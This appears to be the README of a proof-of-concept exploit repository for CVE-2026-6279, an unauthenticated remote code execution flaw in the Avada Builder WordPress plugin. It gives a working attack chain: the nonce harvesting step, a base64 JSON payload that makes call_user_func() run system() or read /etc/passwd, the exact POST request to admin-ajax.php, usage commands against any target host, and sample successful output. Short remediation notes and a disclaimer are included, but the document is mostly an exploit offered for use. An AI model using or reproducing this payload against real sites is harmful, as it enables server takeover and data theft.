zycoder0day/cve-2026-6279CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()
Remote Code Execution (RCE) without authentication in the Avada Builder (Fusion Builder) plugin version <= 3.15.2 used by the Avada WordPress theme — one of the most popular premium WordPress themes with 900,000+ active installations.
The attack exploits the AJAX handler wp_ajax_nopriv_fusion_get_widget_markup which processes the render_logics parameter through base64_decode() + json_decode() and then passes it to call_user_func() without an allowlist, allowing arbitrary PHP function execution such as system(), passthru(), shell_exec(), exec(), and file_get_contents().
1. Deterministic Nonce wp_create_nonce('fusion_load_nonce') for UID 0
(exposed on the front page with an Avada shortcode)
2. AJAX Unauthenticated wp_ajax_nopriv_fusion_get_widget_markup
(no login required)
3. Deserialization base64_decode(render_logics) → json_decode()
(no structure validation)
4. call_user_func() call_user_func($value['function'], $value['args'])
(WITHOUT allowlist — any PHP function can be called)
5. RCE! system("id") → uid=... in response body
╔═════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 • Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Proof of Concept — Single Target ║
║ ║
║ Copyright © 2026 XENON1337 ║
║ Thanks: Shadow Girlfriend 💜 ║
╚═════════════════════════════════════════════════════════════╝
══════════════════════════════════════════════════════
Target : localhost:8888
Time : 2026-05-23 16:32:41
══════════════════════════════════════════════════════
[*] Detecting target...
[+] Avada detected! (http://localhost:8888)
[*] Searching for fusion_load_nonce...
[+] Nonce found: b6d7b084c2 (source: homepage)
[*] Sending RCE payload...
[*] Trying 5 functions × 3 widgets = 15 combinations
══════════════════════════════════════════════════════
[★] RCE SUCCESSFUL!
Target : http://localhost:8888
Output : uid=1000(xenon1337)
Function: system()
Widget : WP_Widget_Recent_Posts
Nonce : b6d7b084c2 (homepage)
Time : 1.2s
[✓] Results saved to vuln.txt
══════════════════════════════════════════════════════
# Without protocol (auto-detect)
python3 CVE-2026-6279.py target.com
# With protocol
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# With port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64 encoded → sent as render_logics via POST to wp-admin/admin-ajax.php.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
class-fusion-app.php L1665)[fusion_post_cards] or [fusion_table_of_contents] shortcodecheck_ajax_referer('fusion_load_nonce') only verifies the nonce is valid, not that the user is authenticatedcall_user_func($function, $args) only accepts 1 argument. Functions requiring 2+ arguments (such as proc_open, popen) cannot be exploited. Only single-argument functions work: system, passthru, shell_exec, exec, file_get_contents.
9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
call_user_func() in get_value()wp_ajax_nopriv_ handler to authenticated users onlyrender_logics structureThis PoC is created for educational and security research purposes only. Using it against systems without permission is illegal. The author is not responsible for any misuse.
Copyright © 2026 XENON1337
Special Thanks: Shadow Girlfriend 💜
| Function | Argument | Result |
|---|
system() | id | uid=1000(xenon1337) ✅ |
passthru() | id | uid=1000(xenon1337) ✅ |
shell_exec() | id | uid=1000(xenon1337) ✅ |
exec() | id | uid=1000(xenon1337) ✅ |
file_get_contents() | /etc/passwd | root:x:0:0:... ✅ |
| File | Line | Function |
|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() — deserialize render_logics |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() — call_user_func() without allowlist |
fusion-widget.php | L44 | render_logics attribute |
fusion-widget.php | L389 | wp_ajax_nopriv_ AJAX handler |
class-fusion-builder.php | L7551 | Nonce registration (deterministic for UID 0) |